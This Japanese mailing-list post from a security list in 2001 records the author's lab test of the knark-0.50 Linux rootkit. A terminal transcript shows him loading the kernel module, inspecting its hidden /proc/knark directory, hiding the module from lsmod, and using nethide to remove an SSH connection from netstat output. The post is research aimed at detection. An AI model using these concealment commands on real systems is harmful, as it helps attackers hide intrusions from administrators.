[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[port139:00531] Re: rootkit に関するメモ β1
- To: port139@xxxxxxxxxxxxx
- Subject: [port139:00531] Re: rootkit に関するメモ β1
- From: DANNA <danna@xxxxxxxxxxx>
- Date: Tue, 14 Aug 2001 15:27:02 +0900
ダンナ@サポセンです。
夏休み自由研究でknark-0.50を実験してみて、ちょっと訂正です。
リブート時とかに再度読み込ませたければ、何らかのファイルに変更
を加えなければならないので、単にrootkitを仕込むだけなら、別に
ファイルに変更は加えませんね。
単に仕込むには insmod knark.o ってコマンドラインで打ち込めばカ
ーネルには常駐し、/proc/knarkに隠しディレクトリを作成します。
以下はちょっといじった風景。良く動くもんです。続いて、detector
を試してみます。
[root@decoy knark-0.50]# ls
Makefile README ered hidef knark.o modhide.o nethide rootme src
[root@decoy knark-0.50]# insmod knark.o
[root@decoy knark-0.50]# cd /proc
[root@decoy /proc]# ls
1 298 342 5 cmdline fs ksyms modules scsi tty
2 3 344 603 cpuinfo ide loadavg mounts self uptime
252 338 367 605 devices interrupts locks net slabinfo version
263 339 368 622 dma ioports mdstat partitions stat
277 340 369 apm fb kcore meminfo pci swaps
291 341 4 bus filesystems kmsg misc rtc sys
[root@decoy /proc]# cd knark
[root@decoy knark]# ls -al
total 0
dr-xr-xr-x 1 root root 0 Aug 14 15:11 .
dr-xr-xr-x 31 root root 0 Aug 14 2001 ..
-r--r--r-- 1 root root 0 Aug 14 15:11 Creed
-r--r--r-- 1 root root 0 Aug 14 15:11 files
-r--r--r-- 1 root root 0 Aug 14 15:11 nethides
-r--r--r-- 1 root root 0 Aug 14 15:11 pids
-r--r--r-- 1 root root 0 Aug 14 15:11 redirects
[root@decoy knark]# lsmod
Module Size Used by
knark 5944 0 (unused)
3c509 5812 1 (autoclean)
[root@decoy knark]# cd /hogehoge/knark-0.50
[root@decoy knark-0.50]# insmod modhide.o
modhide.o: init_module: Device or resource busy
[root@decoy knark-0.50]# lsmod
Module Size Used by
3c509 5812 1 (autoclean)
[root@decoy knark-0.50]# netstat
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 20 decoy.brain.riken.g:ssh phantom.brain.riken:647 ESTABLISHED
Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags Type State I-Node Path
unix 0 [ ] STREAM CONNECTED 114 @00000010
unix 1 [ ] STREAM CONNECTED 375 @00000016
unix 1 [ ] STREAM CONNECTED 376 /dev/log
[root@decoy knark-0.50]# cat /proc/net/tcp
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 8BAFA086:0016 02A6A086:0287 01 00000014:00000000 01:00000023 00000000 0 0 545
1: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 446
2: 00000000:000F 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 418
3: 00000000:000B 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 417
4: 00000000:07D3 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 416
5: 00000000:004F 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 415
6: 00000000:0017 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 414
[root@decoy knark-0.50]# ./nethide "8BAFA086:0016"
nethide.c by Creed @ #hack.se 1999 <creed@xxxxxxxxxx>
Done: "8BAFA086:0016" is now removed
[root@decoy knark-0.50]# netstat
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags Type State I-Node Path
unix 0 [ ] STREAM CONNECTED 114 @00000010
unix 1 [ ] STREAM CONNECTED 375 @00000016
unix 1 [ ] STREAM CONNECTED 376 /dev/log
[root@decoy knark-0.50]#
+----------------------------------------+
+ DANNA @ SAPOSEN
+ e-mail : danna@xxxxxxxxxxx
+ web site : http://www.hawkeye.ac/micky
+ Security Stadium
+ http://sec-stadium.hawkeye.ac/
+----------------------------------------+